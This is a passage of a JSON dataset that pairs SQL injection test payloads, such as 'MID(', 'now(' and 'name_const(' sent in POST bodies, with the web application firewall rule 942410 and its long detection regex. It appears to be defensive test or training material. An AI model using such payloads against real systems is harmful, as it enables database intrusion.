ength)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=md5%5C%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=MID%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=minute+%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=month%3D%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "name_const(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "now(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "nOW(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "ord(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "password?(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": 